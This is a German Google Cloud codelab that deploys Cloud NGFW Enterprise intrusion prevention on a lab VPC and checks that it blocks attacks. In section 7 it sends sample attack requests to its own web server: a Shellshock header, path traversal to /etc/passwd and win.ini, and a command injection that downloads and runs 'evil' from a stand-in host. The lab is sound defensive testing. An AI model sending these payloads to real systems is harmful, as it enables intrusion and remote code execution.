Cloud NGFW Enterprise – Intrusion Prevention Service (ohne TLS-Prüfung)

1. Einführung

Cloud Next Generation Firewall (NGFW)

Cloud Next Generation Firewall ist ein vollständig verteilter Firewalldienst mit erweiterten Schutzfunktionen, Mikrosegmentierung und umfassender Abdeckung, um Ihre Google Cloud-Arbeitslasten vor internen und externen Angriffen zu schützen.

Cloud NGFW bietet folgende Vorteile:

  • Verteilter Firewalldienst: Cloud NGFW bietet eine zustandsorientierte, vollständig verteilte hostbasierte Erzwingung für jede Arbeitslast, um eine Zero-Trust-Sicherheitsarchitektur zu ermöglichen.
  • Vereinfachte Konfiguration und Bereitstellung: Cloud NGFW implementiert Netzwerk- und hierarchische Firewallrichtlinien, die an einen Knoten in der Ressourcenhierarchie angehängt werden können. Diese Richtlinien sorgen für eine einheitliche Firewallerfahrung in der gesamten Google Cloud-Ressourcenhierarchie.
  • Detaillierte Kontrolle und Mikrosegmentierung: Die Kombination aus Firewallrichtlinien und von der Identitäts- und Zugriffsverwaltung (Identity and Access Management, IAM) verwalteten Tags ermöglicht eine präzise Steuerung von Nord-Süd- und Ost-West-Traffic bis auf eine einzige VM über VPC-Netzwerke und -Organisationen hinweg.

Cloud NGFW ist in den folgenden Stufen verfügbar:

Cloud NGFW Enterprise

Cloud NGFW Enterprise fügt der verteilten Google Cloud Firewall-Struktur den Intrusion Prevention Service (IPS), eine Layer-7-Funktion, hinzu. Die TLS-Prüfung wird unterstützt, um TLS-verschlüsselten Traffic zu prüfen. Sie wird jedoch nicht in diesem Codelab behandelt (siehe Cloud NGFW Enterprise-Codelab mit TLS-Prüfung).

Sie können jetzt zuverlässige NGFW-Prüfungen (Layer 7 Next Generation Firewall) mit detaillierten Kontrollen bereitstellen, ohne Änderungen an Ihrer Netzwerkarchitektur oder Routingkonfigurationen vornehmen zu müssen.

Führen Sie die folgenden Aufgaben aus, um die Layer-7-Firewallsteuerung mit IPS zu aktivieren und bereitzustellen:

  • Eine Reihe von von Google Cloud verwalteten zonalen Firewall-Endpunkten erstellen.
  • Optional: TLS-Prüfungsrichtlinie erstellen (nicht in diesem Codelab behandelt)
  • Optional eine Konfiguration der Vertrauensstellung erstellen (wird in diesem Codelab nicht behandelt)
  • Verknüpfen Sie diese Endpunkte mit den VPC-Netzwerken (Virtual Private Cloud), in denen Sie den Cloud NGFW Enterprise-Dienst benötigen.
  • Nehmen Sie einfache Änderungen an Ihren bestehenden Firewallrichtlinien und Firewallregeln vor, um die Profile zum Schutz vor Bedrohungen für die verschiedenen Trafficpfade anzugeben.

Netzwerk-Firewallrichtlinien

Die Netzwerk-Firewallrichtlinie fungiert als Container für Firewallregeln. In einer Netzwerk-Firewallrichtlinie definierte Regeln werden erst erzwungen, wenn die Richtlinie einem VPC-Netzwerk zugeordnet ist. Jedem VPC-Netzwerk kann eine Netzwerk-Firewallrichtlinie zugeordnet sein. Netzwerk-Firewallrichtlinien unterstützen IAM-gesteuerte Tags (oder nur Tags) in Firewallregeln, die aktuelle Netzwerk-Tags ersetzen und verwendet werden können, um Arbeitslasten Identität zu erteilen.

Die gemeinsame Nutzung einer Netzwerk-Firewallrichtlinie für mehrere Netzwerke und die Einbindung von IAM-gesteuerten Tags vereinfacht die Konfiguration und Verwaltung von Firewalls erheblich.

Mit Einführung der Netzwerk-Firewallrichtlinie bestehen die Firewallrichtlinien von Google Cloud nun aus den folgenden Komponenten:

  1. Hierarchische Firewall-Richtlinie
  2. VPC-Firewallregeln
  3. Netzwerk-Firewallrichtlinie ( global und regional)

Hierarchische Firewallrichtlinien werden auf den Organisations- und Ordnerknoten innerhalb der Ressourcenhierarchie unterstützt, während VPC-Firewallregeln und Netzwerk-Firewallrichtlinien auf VPC-Ebene angewendet werden. Ein großer Unterschied zwischen VPC-Firewallregeln und Netzwerk-Firewallrichtlinien besteht darin, dass VPC-Firewallregeln nur auf ein einzelnes VPC-Netzwerk angewendet werden können, während Netzwerk-Firewallrichtlinien neben anderen Vorteilen wie Batch-Updates an eine einzelne VPC oder Gruppe von VPCs angehängt werden können.

Außerdem gibt es noch die impliziten Firewallregeln, die für jedes VPC-Netzwerk gelten:

  • Regel für ausgehenden Traffic mit der Aktion „allow“, Ziel 0.0.0.0/0
  • Eingangsregel mit der Aktion „ablehnen“, Quelle 0.0.0.0/0

Standardmäßig wird die Erzwingungssequenz im folgenden Diagramm dargestellt:

21b3bcabc469ffe.png

Die Erzwingungsreihenfolge zwischen den VPC-Firewallregeln und der globalen Netzwerk-Firewallrichtlinie kann geändert werden. Kunden können die Erzwingungsreihenfolge jederzeit mit einem gcloud-Befehl festlegen.

Von IAM verwaltete Tags

Die neuen in Netzwerk-Firewallrichtlinien-Regeln eingebundenen Tags sind Schlüssel/Wert-Paar-Ressourcen, die auf Organisations- oder Projektebene der Google Cloud-Ressourcenhierarchie definiert sind. Ein solches Tag enthält, wie der Name schon sagt, eine IAM-Zugriffssteuerung, die angibt, wer was für das Tag tun darf. In IAM-Berechtigungen kann beispielsweise angegeben werden, welche Hauptkonten Tags Werte zuweisen und welche Hauptkonten Tags an Ressourcen anhängen dürfen. Nachdem ein Tag auf eine Ressource angewendet wurde, können Netzwerk-Firewallregeln damit Traffic zulassen oder ablehnen.

Tags entsprechen dem Ressourcenmodell von Google Cloud für die Übernahme. Das bedeutet, dass Tags und ihre Werte innerhalb der Hierarchie von ihren übergeordneten Elementen übernommen werden. So können Tags an einem Ort erstellt und dann von anderen Ordnern und Projekten in der gesamten Ressourcenhierarchie verwendet werden. Weitere Informationen zu Tags und Zugriffsbeschränkungen

Tags dürfen nicht mit Netzwerk-Tags verwechselt werden. Letztere sind Strings, die Compute Engine-Instanzen hinzugefügt werden können. Sie sind mit der Instanz verknüpft und verschwinden, wenn die Instanz außer Betrieb genommen wird. VPC-Firewallregeln können Netzwerk-Tags enthalten. Da sie jedoch nicht als Cloud-Ressourcen gelten, unterliegen sie nicht der IAM-Zugriffssteuerung.

Beachten Sie, dass Tags und von IAM verwaltete Tags in diesem Dokument synonym verwendet werden.

Inhalt

Für dieses Codelab benötigen Sie ein einzelnes Projekt und die Fähigkeit, ein VPC-Netzwerk mit öffentlicher Verbindung zu erstellen. Es wird gezeigt, wie Cloud NGFW Enterprise IPS-Funktionen bereitstellen kann. Dazu müssen Sie Folgendes tun:

  • Intra-VPC-/Subnetzflüsse prüfen [East-West]
  • Eingehende Datenflüsse aus dem Internet prüfen [North-South]

Die zu prüfenden Abläufe werden mithilfe von Cloud Firewall-Abgleichparametern ausgewählt, einschließlich 5-Tupel (Quell-IP, Ziel-IP, Protokoll, Quellport, Zielport) und Tags. Die TLS-Prüfung ist in diesem Codelab nicht enthalten.

52a0642ef8668ecf.png

Die Regelbasis der Netzwerk-Firewallrichtlinie sieht in etwa so aus:

Priorität

Richtung

Target

Source

Ziel

Aktion

Typ

100

Ausgehender Traffic

Quarantine_Tag

Beliebig

Alle

Ablehnen

Essentials

1000

Eingehender Traffic

Server_Tag

Systemdiagnose-Bereiche

Beliebig

Zulassen

Essentials

2000

Eingehender Traffic

Beliebig

Identity-Aware Proxy-Bereiche

Beliebig

Zulassen

Essentials

3000

Eingehender Traffic

Beliebig

Geo, GCTI

Beliebig

Ablehnen

Standard

4000

Ausgehender Traffic

Beliebig

Beliebig

Geo, GCTI

Ablehnen

Standard

5000

Ausgehender Traffic

Beliebig

Beliebig

FQDNs für Systemupdates

Zulassen

Standard

6000

Eingehender Traffic

Server_Tag

10.0.0.0/24

Beliebig

IPS

Unternehmen

7000

Eingehender Traffic

Server_Tag

CloudNAT_IP

Beliebig

IPS

Unternehmen

Aufgaben in diesem Lab

Voraussetzungen

  • Google Cloud-Projekt
  • Kenntnisse der Bereitstellung von Instanzen und der Konfiguration von Netzwerkkomponenten
  • Kenntnisse über die Konfiguration von VPC-Firewalls

2. Hinweis

Variablen erstellen/aktualisieren

In diesem Codelab wird $variables verwendet, um die Implementierung der gcloud-Konfiguration in Cloud Shell zu unterstützen.

Führen Sie in Cloud Shell die folgenden Befehle aus. Ersetzen Sie dabei die Informationen in Klammern nach Bedarf. Überspringen Sie die Festlegung des Projekts, wenn das gewünschte Projekt bereits festgelegt wurde. Für Ressourcen auf Organisationsebene wird eine andere Variable verwendet, wenn mehrere, z.B. Firewall-Endpunkte erforderlich sind.

gcloud config set project [project-id]

export project_id=$(gcloud config list --format="value(core.project)")
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=cloudngfw
export org_prefix=cloudngfw
export billing_project_id=[project-id]

3. APIs aktivieren

Aktivieren Sie die APIs, falls noch nicht geschehen:

gcloud services enable compute.googleapis.com
gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Cloud NGFW Enterprise-Sicherheitsprofil und Endpunkterstellung

Da das Erstellen des Cloud NGFW Enterprise-Endpunkts etwa 20 Minuten dauert, wird er zuerst erstellt. Die Basiseinrichtung kann parallel erfolgen, während der Endpunkt erstellt wird.

Erstellen Sie das Sicherheitsprofil und die Sicherheitsprofilgruppe:

gcloud network-security security-profiles threat-prevention \
  create $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $org_prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat

Erwartete Ausgabe:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$org_prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to com
plete...done.                                                                                                                                 
Created security profile group [$org_prefix-spg].

Prüfen Sie, ob die Ressourcen erfolgreich erstellt wurden:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Erwartete Ausgabe:

NAME: cloudngfw-sp-threat
NAME: cloudngfw-spg

Erstellen Sie den Cloud NGFW Enterprise-Endpunkt:

gcloud network-security firewall-endpoints create $org_prefix-$zone \
  --zone=$zone --organization $org_id \
  --billing-project $billing_project_id

Führen Sie den folgenden Befehl aus, um zu prüfen, ob der Endpunkt erstellt wird (Status: CREATING).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: CREATING

Führen Sie optional den folgenden Befehl aus, um weitere Details zu erhalten:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Erwartete Ausgabe:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: CREATING
updateTime: '2023-04-25T18:08:45.493499362Z'

Die Endpunkterstellung dauert etwa 20 Minuten. Gehen Sie zum Abschnitt Grundlegende Einrichtung, um die erforderlichen Ressourcen parallel zu erstellen.

5. Grundkonfiguration

Fahren Sie mit den folgenden Abschnitten fort, wenn Sie die Basisressourcen lieber manuell erstellen möchten.

VPC-Netzwerk und Subnetz

VPC-Netzwerk und Subnetz

Erstellen Sie das VPC-Netzwerk und das Subnetz:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Cloud NAT

Erstellen Sie die Cloud Router und Cloud NAT-Gateways:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Vorfälle

Erstellen Sie die Client- und Webserverinstanzen:

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --scopes=compute-ro \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils iperf3 tcpdump -y'

Tags auf P rojektebene

Weisen Sie dem Nutzer gegebenenfalls die Berechtigungen „tagAdmin“ und/oder „tagUser“ zu:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagUser

Erstellen Sie den Tag-Schlüssel und die Tag-Werte auf Projektebene:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-quarantine \
   --parent=$project_id/$prefix-vpc-tags

Binden Sie Tags an Instanzen:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Globale Netzwerk-Firewallrichtlinie

Erstellen Sie eine globale Netzwerk-Firewallrichtlinie:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise" --global

Erstellen Sie „Cloud Firewall Essential-Regeln“, um Traffic von unter Quarantäne gestellten Instanzen (nur als Beispiel erstellt und nicht in diesem Codelab verwendet) abzulehnen und Traffic aus den Bereichen health-check und identity-aware proxy zuzulassen:

gcloud compute network-firewall-policies rules create 100 \
        --description="block quarantined workloads" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine \
        --dest-ip-ranges=0.0.0.0/0

gcloud compute network-firewall-policies rules create 1000 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 2000 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --src-ip-ranges=35.235.240.0/20

Erstellen Sie Cloud Firewall-Standardregeln, um eingehenden und ausgehenden Traffic aus Ländern/zu Embargoländern, bekannten schädlichen IP-Adressen und ToR-Ausstiegsknoten zu verhindern. und nur ausgehenden Traffic an bestimmte FQDNs für Systemupdates zulassen (nur als Beispiel erstellt, wird in diesem Codelab nicht verwendet):

gcloud compute network-firewall-policies rules create 3000 \
        --description="block ingress traffic from sanctioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=INGRESS \
        --src-region-codes CU,IR,KP,SY,XC,XD \
        --src-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 4000 \
        --description="block egress traffic from sactioned countries, known malicious IPs and ToR exit nodes" \
        --action=deny \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=all \
        --direction=EGRESS \
        --dest-region-codes CU,IR,KP,SY,XC,XD \
        --dest-threat-intelligence iplist-tor-exit-nodes,iplist-known-malicious-ips

gcloud compute network-firewall-policies rules create 5000 \
        --description "allow system updates" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=EGRESS \
--dest-fqdns=ftp.us.debian.org,debian.map.fastly.net,packages.cloud.google.com,www3.l.google.com

Erstellen Sie Cloud-Firewallregeln, um eingehenden Ost-West-/Intra-Subnetz- und Nord-Süd-/Internet-Traffic aus den bestimmten Bereichen zuzulassen. Diese Regeln werden aktualisiert, um Cloud NGFW Enterprise zu aktivieren:

gcloud compute network-firewall-policies rules create 6000 \
        --description "allow ingress internal traffic from clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs all \
        --src-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud compute network-firewall-policies rules create 7000 \
        --description "allow ingress external traffic to server" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --enable-logging \
        --src-ip-ranges=$cloudnatip \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Verknüpfen Sie die Netzwerk-Firewallrichtlinie mit dem VPC-Netzwerk:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

Externer TCP/UDP-Network Load Balancer

Reservieren Sie eine externe IP-Adresse und erstellen Sie die Instanzgruppe und die Systemdiagnose:

gcloud compute addresses create $prefix-$region-nlbip --region=$region

gcloud compute instance-groups unmanaged create $prefix-ig \
    --zone $zone

gcloud compute instance-groups unmanaged add-instances $prefix-ig \
   --instances $prefix-$zone-www --zone $zone

gcloud compute health-checks create http $prefix-$region-hc-http80 \
   --region $region --port 80

Erstellen Sie einen Back-End-Dienst und eine Weiterleitungsregel:

gcloud compute backend-services create $prefix-nlb-bes \
    --protocol TCP \
    --health-checks $prefix-$region-hc-http80 \
    --health-checks-region $region \
    --region $region

gcloud compute backend-services add-backend $prefix-nlb-bes \
    --instance-group $prefix-ig \
    --instance-group-zone $zone \
    --region $region

gcloud compute forwarding-rules create $prefix-nlb-ipv4 \
  --load-balancing-scheme EXTERNAL \
  --region $region \
  --ports 80 \
  --address $prefix-$region-nlbip \
  --backend-service $prefix-nlb-bes

6. Cloud NGFW Enterprise-Endpunktverknüpfung

Definieren Sie die Umgebungsvariablen neu, falls erforderlich.

Prüfen Sie, ob der Cloud Firewall-Endpunkt erfolgreich erstellt wurde. Fahren Sie erst fort, wenn der Status ACTIVE angezeigt wird (während der Erstellung lautet der erwartete Status CREATING):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Erwartete Ausgabe (das Ausgabeformat kann je nach verwendetem Client variieren):

ID: cloudngfw-[zone]
LOCATION: [zone]
STATE: ACTIVE

Führen Sie optional den folgenden Befehl aus, um weitere Details zu erhalten:

gcloud network-security firewall-endpoints describe \
  $org_prefix-$zone --organization $org_id --zone $zone

Erwartete Ausgabe:

createTime: '2023-04-25T18:08:45.493499362Z'
name: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
state: ACTIVE
updateTime: '2023-04-25T18:29:40.840608100Z'

Verknüpfen Sie den Cloud NGFW Enterprise-Endpunkt mit dem VPC-Netzwerk:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc --endpoint $org_prefix-$zone \
  --organization $org_id

Die Verknüpfung dauert etwa 10 Minuten. Fahren Sie erst fort, wenn der Status ACTIVE lautet (der erwartete Status lautet CREATING während der Erstellung):

gcloud network-security firewall-endpoint-associations list

Erwartete Ausgabe:

ID: cloudngfw-association
LOCATION: [zone]
NETWORK: cloudngfw-vpc
ENDPOINT: cloudngfw-[zone]
STATE: ACTIVE

Führen Sie optional den folgenden Befehl aus, um weitere Details zu erhalten:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Erwartete Ausgabe:

createTime: '2023-05-01T22:25:06.218544436Z'
firewallEndpoint: organizations/[org-id]/locations/[zone]/firewallEndpoints/cloudngfw-[zone]
name: projects/[project-id]/locations/[zone]/firewallEndpointAssociations/cloudngfw-association
network: projects/[project-id]/global/networks/cloudngfw-vpc
state: ACTIVE
updateTime: '2023-05-01T22:33:06.467596536Z'

7. Cloud NGFW Enterprise-Inspektionsregeln

Öffnen Sie einen neuen Tab und initiieren Sie über IAP eine SSH-Verbindung zur Client-VM. Sie müssen die Variablen im neuen Tab noch einmal definieren:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Definieren Sie die erforderlichen Variablen in der SSH-Sitzung und legen Sie die Variablen fest. Achten Sie darauf, dass die Werte korrekt sind:

export region=[region]
export zone=[zone]
export prefix=cloudngfw

export target_privateip=$(gcloud compute instances list --filter=name:$prefix-$zone-www --format="value(networkInterfaces.networkIP)")

export target_nlbip=$(gcloud compute addresses list --filter=name:$prefix-$region-nlbip --format="value(address)")

curl für beide IP-Adressen, um sicherzustellen, dass sie erreichbar sind:

curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

Erwartetes Ergebnis für beide curl-Anfragen:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

Senden Sie Beispielangriffe an die interne Server-IP-Adresse (East-West-/VPC-interner Traffic). Der Webserver sollte auf alle Anfragen antworten und bestätigen, dass keine L7-Prüfung/-Prävention besteht:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Senden Sie die Beispielangriffe über Cloud NAT (eingehender North-South-Traffic) an die IP-Adresse des externen Servers noch einmal. Ebenso sollte der Webserver auf alle Anfragen antworten:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Erwartete Ergebnisse für öffentliche und private IP-Adressen:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Wechseln Sie zurück zu Cloud Shell und aktualisieren Sie die vorhandenen Regeln für eingehenden Traffic, um die L7-Prüfung zu aktivieren:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

Optional können Sie die Firewallregeln beschreiben, um zu prüfen, ob beide aktualisiert wurden:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Erwartete Ausgabe:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Regel 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

Erwartete Ausgabe:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

Wechseln Sie zurück zur Client-VM und senden Sie die Beispielangriffe noch einmal an die interne Server-IP (East-West-/Intra-VPC-Prüfung):

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Senden Sie die Beispielangriffe über Cloud NAT (eingehende Nord-Süd-Prüfung) noch einmal an die IP-Adresse des externen Servers:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

Für die ersten Angriffe gehen keine Antworten ein (siehe erwartete Ausgabe unten), was bestätigt, dass die Angriffe mit hohem Schweregrad jetzt blockiert werden.

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

Gehen Sie zu „Netzwerksicherheit“ > Bedrohungen in der Cloud Console, um die Logs zu prüfen. Wenn die Angriffe noch nicht angezeigt werden, müssen Sie möglicherweise einige Male aktualisieren.

daa535fcc34873aa.png

Wählen Sie einen der Angriffe aus und klicken Sie auf „Audit-Log ansehen“. auf der rechten Seite (öffnen Sie sie in einem neuen Tab, um schnell zurückzugehen). Maximieren Sie den Angriff, um die Details anzuzeigen:

5f97cdef79e42eff.png

Ersetzen Sie optional den Log-Explorer-Filter durch die folgende Abfrage:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

Gefahrenlogeinträge sollten so betrachtet werden:

5ea9581a7eb694c5.png

Abgefangene Pakete von Cloud Firewall können mit dem Log-Explorer-Filter unten überprüft werden (hilfreich zur Fehlerbehebung):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

Fahren Sie mit der Prüfung des Internettraffics (optional) fort oder schließen Sie die SSH-Sitzung und fahren Sie mit dem nächsten Kapitel zur Bereinigung fort.

[Optional] Internet-Traffic-Prüfung

